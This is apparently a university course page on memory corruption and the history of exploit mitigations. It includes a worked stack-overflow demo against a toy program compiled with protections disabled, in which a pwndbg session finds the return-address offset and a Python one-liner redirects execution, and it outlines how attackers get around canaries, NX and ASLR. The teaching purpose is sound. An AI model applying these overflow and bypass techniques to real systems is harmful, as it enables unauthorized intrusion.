courses

Memory Corruption and Exploit Mitigations

Why this whole class of bug exists

Most of the security topics in this course are about policy — who is allowed to do what (access control), how we prove identity (authentication), how we keep data secret (cryptography). Memory corruption is different. It is a failure of the machine model itself: the gap between how a programmer thinks their code behaves and what the CPU will actually do when fed hostile input.

Two design decisions, made decades ago for good reasons, combine to make it possible:

  1. The von Neumann architecture stores code and data in the same memory. There is no hardware tag that says “these bytes are instructions” and “these bytes are user input.” If an attacker can get their bytes into memory and convince the CPU’s instruction pointer to land on them, the CPU will happily execute data as code.
  2. Memory-unsafe languages. C and C++ trade safety for control: the programmer is responsible for every array bound, every buffer length, every malloc/free. The language will not stop you from writing past the end of a buffer — that is undefined behavior, and “undefined” in practice means “exploitable.” Decades of operating systems, browsers, and firmware are written in C/C++, so this is not a legacy concern.

The result is a 40-year arms race: a new corruption technique appears, defenders add a mitigation, attackers find a way around it, defenders add another. This page walks that race in order, because each mitigation only makes sense as an answer to the attack before it. Understanding the sequence is the whole point — it is the clearest worked example of defense in depth in the course.

This is the conceptual foundation behind the binary bomb in Lab #5: that lab has you reverse engineer a binary to understand its logic. This page is about what happens when a binary mishandles input badly enough that you can take control of it. Crashes are found by fuzzing; this page is about what an attacker does with the crash once it exists.

The process memory layout

When the kernel loads a program, it lays the process out in virtual memory roughly like this (addresses grow downward in this diagram):

  High addresses
  ┌───────────────────────────┐
  │   Stack                   │  ← local variables, return addresses; grows DOWN
  │     │                     │
  │     ▼                     │
  │            (unused gap)   │
  │     ▲                     │
  │     │                     │
  │   Heap                    │  ← malloc/new; grows UP
  ├───────────────────────────┤
  │   BSS / Data              │  ← global and static variables
  ├───────────────────────────┤
  │   Text (code)             │  ← the machine instructions (read-only, executable)
  └───────────────────────────┘
  Low addresses

Almost all classic corruption happens on the stack or the heap, because those hold attacker-influenced data sitting right next to data the CPU trusts — like the address it will jump to when a function returns.

The stack and the return address

Every time a function is called, the CPU pushes a stack frame: space for the function’s local variables, the saved base pointer, and — critically — the return address, the location execution resumes at when the function finishes (ret). On 32-bit x86 the instruction pointer is $eip; on 64-bit it is $rip.

  Low address
  ┌─────────────┐
  │  buf[64]    │  ← a local buffer; user input gets copied in here
  ├─────────────┤
  │  saved ebp  │  ← saved base pointer
  ├─────────────┤
  │ return addr │  ← the CPU jumps here on `ret`. Overwrite it = control execution
  └─────────────┘
  High address   (the stack grows toward lower addresses, but a buffer
                  is filled from low → high, so overflowing buf writes
                  UP into saved ebp and the return address)

This adjacency is the entire vulnerability. A buffer is filled upward in memory, directly toward the saved return address. If the program copies more bytes into buf than it can hold, the extra bytes overwrite the return address — and whatever value lands there is where the CPU goes next.

The bug classes

Class Root cause Classic primitive
Stack buffer overflow Unbounded copy into a fixed stack buffer (gets, strcpy, scanf("%s")) Overwrite the saved return address
Heap overflow Overflowing a heap chunk Corrupt heap metadata or an adjacent object’s pointers
Use-after-free (UAF) Using a pointer after free() Attacker re-allocates the freed slot with controlled data
Format string User input used as the format string: printf(user) %n writes memory; %x/%p leak it
Integer overflow A size calculation wraps around Under-sized allocation → later overflow
Off-by-one / OOB write Loop bound or index error A single byte overwrite, sometimes enough

The rest of this page follows the stack buffer overflow because it is the simplest to see end-to-end, but every mitigation below applies across the whole table.

Worked example: from crash to control of $eip

Here is the canonical vulnerable program. gets() reads input with no length limit — it was so dangerous it was removed from the C11 standard.

/* vuln.c — compile 32-bit with every mitigation OFF for teaching */
#include <stdio.h>
void win(void) { puts("you redirected execution!"); }
void vulnerable(void) {
    char buf[64];
    gets(buf);              /* no bounds check — the whole bug */
}
int main(void) { vulnerable(); return 0; }

Compile it with the protections disabled so we can study the bare mechanism. Each flag turns off a mitigation we will re-enable later — keep an eye on them, they are the lesson:

$ gcc -m32 -fno-stack-protector -z execstack -no-pie -g vuln.c -o vuln
       │     │                    │            │
       │     │                    │            └ no PIE: fixed code addresses
       │     │                    └ executable stack (lets injected shellcode run)
       │     └ no stack canary
       └ build 32-bit (simpler: 4-byte addresses, like the course bomb)

For a reproducible demo we also disable address randomization for this one process (more on ASLR below):

$ setarch -R ./vuln        # -R = disable ASLR for this process only

Now find exactly how many bytes it takes to reach the return address. Instead of guessing, feed a cyclic De Bruijn pattern — a string in which every 4-byte window is unique — and see which 4 bytes land in $eip when it crashes. pwndbg generates and reverses these:

$ pwndbg ./vuln
pwndbg> cyclic 200            # generate a 200-byte De Bruijn pattern
aaaabaaacaaadaaaeaaaf...      # (copy this)
pwndbg> run
Starting program: /home/student/vuln
aaaabaaacaaadaaaeaaaf...      # paste the pattern as input

Program received signal SIGSEGV, Segmentation fault.
 EIP  0x6161616c ('laaa')     # the CPU tried to "return" into our pattern

$eip is now 0x6161616c. Because every window in the pattern is unique, that value names a single offset. Ask pwndbg:

pwndbg> cyclic -l 0x6161616c
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 76

76 bytes of padding land us exactly on the return address. We now control $eip: send 76 bytes of filler followed by the 4-byte little-endian address of win():

pwndbg> print win
$1 = {void (void)} 0x80491b6 <win>

$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*76 + b"\xb6\x91\x04\x08")' | setarch -R ./vuln
you redirected execution!

We made the program run a function it never called. Redirecting into win() is a stand-in for the real attacker goal: redirecting into shellcode (bytes that exec a shell) placed in that same buffer — which works precisely because we compiled with -z execstack. Take that flag away and the injected bytes are data the CPU refuses to execute. That refusal is the first mitigation.

The mitigation arms race

Each defense below answers the attack above it; each attack answers the defense above it. This back-and-forth is the real content of the topic.

1. Stack canaries — detect the overwrite

Idea: the compiler places a random secret value (the canary, after the coal-mine canary) on the stack between the local buffers and the saved return address. Before the function returns, it checks the canary is unchanged. A linear overflow that reaches the return address must have clobbered the canary first, so the check fails and the program aborts (*** stack smashing detected ***) before ret ever runs.

Enabled by gcc -fstack-protector-strong (the modern default on every mainstream distro).

Attacker answers: leak the canary first (via a separate info-leak bug, e.g. a format-string read) and include the correct value in the overflow; or overwrite a pointer without crossing the canary; or, for forking servers, brute-force it byte-by-byte. Canaries raise the bar; they do not close the door.

2. NX / DEP — stop data from executing

Idea: mark the stack and heap non-executable (the CPU’s NX bit; “W^X” — memory is writable xor executable, never both). Now the shellcode an attacker injected into buf is just inert data; jumping to it faults. This is why our demo needed -z execstack to disable it.

Attacker answers — code reuse: if you cannot inject new code, reuse code already in the process and already executable.

3. ASLR + PIE — hide the addresses

Idea: ROP and ret2libc both require the attacker to know addresses — of system, of gadgets, of the stack. Address Space Layout Randomization (ASLR) randomizes the base address of the stack, heap, and shared libraries on every run; compiling the executable itself as a PIE (Position-Independent Executable, gcc -fPIE -pie, now the default) randomizes the program’s own code too. Guess wrong and you crash instead of exploit.

Linux ASLR is controlled by /proc/sys/kernel/randomize_va_space (2 = full, the default; 0 = off — which is what setarch -R forced above for our demo).

Attacker answers: ASLR randomizes a base; offsets within a library stay fixed. So leak one address (again, via an info-leak bug) and you can compute every other address in that region. On 32-bit there is also little entropy — sometimes you can simply brute-force it. ASLR’s strength is entirely dependent on there being no information leak, which is why memory-disclosure bugs are valued so highly.

4. CFI and shadow stacks — protect the control flow directly

The mitigations above protect data on the stack or hide addresses. The newest layer protects the control transfer itself.

Attacker answers: data-only attacks that corrupt values without ever diverting control flow (e.g., flipping an is_admin flag), JIT-spraying, and gaps in coarse-grained CFI policies. The race continues — but each round costs the attacker more.

5. The supporting cast

Reading a binary’s defenses: checksec

Before attacking (or auditing) a binary, the first question is which mitigations are even on. pwndbg’s built-in checksec answers it:

pwndbg> checksec
File:     /home/student/vuln
Arch:     i386
RELRO:    Partial RELRO
Stack:    No canary found        ← overflow won't be detected
NX:       NX disabled            ← injected shellcode will run
PIE:      No PIE (0x8048000)     ← code is at a fixed, known address

That output is our deliberately-weakened demo — every protection a real binary should have is missing. Compare it to a system binary:

pwndbg> checksec
File:     /usr/bin/bash
Arch:     amd64
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
SHSTK:    Enabled
IBT:      Enabled

Reading checksec first tells you which techniques from the arms race are even on the table.

The real fix: don’t write the bug

Every mitigation above is damage control for a bug that already exists — they make exploitation harder and more expensive, not impossible. The structural fix is to stop the corruption from being possible at all:

Defense-in-depth summary

No single mitigation is sufficient — each one closed a door, and attackers found a window. Their value is cumulative, which is exactly the defense-in-depth lesson:

Mitigation Stops / raises cost of Bypassed by
Stack canary Detects linear stack smashing Info leak of the canary; non-linear writes
NX / DEP (W^X) Executing injected shellcode ret2libc, ROP (code reuse)
ASLR / PIE Knowing where gadgets/libc/stack are A single address leak; low 32-bit entropy
CFI / shadow stack (CET) Diverting control flow / ROP Data-only attacks; policy gaps
RELRO GOT-overwrite hijacks n/a for that vector
Memory-safe language The bug existing at all (eliminates the class)

Key takeaways

References

Related course pages: Access Control and Authorization · Network-Based Fuzzing · Application Security · DevSecOps Fundamentals · Lab #5: Binary Bomb

🛠️ Maintenance note: the checksec field names and the SHSTK/IBT lines track the installed pwndbg version — re-verify against the course VM’s pwndbg each term. Compiler defaults drift toward more protection (PIE, -fstack-protector-strong, and full RELRO are now on by default on most distros), so the explicit “disable” flags in the worked example are what keep the demo reproducible; confirm they still produce a No canary / NX disabled / No PIE binary on the current GCC.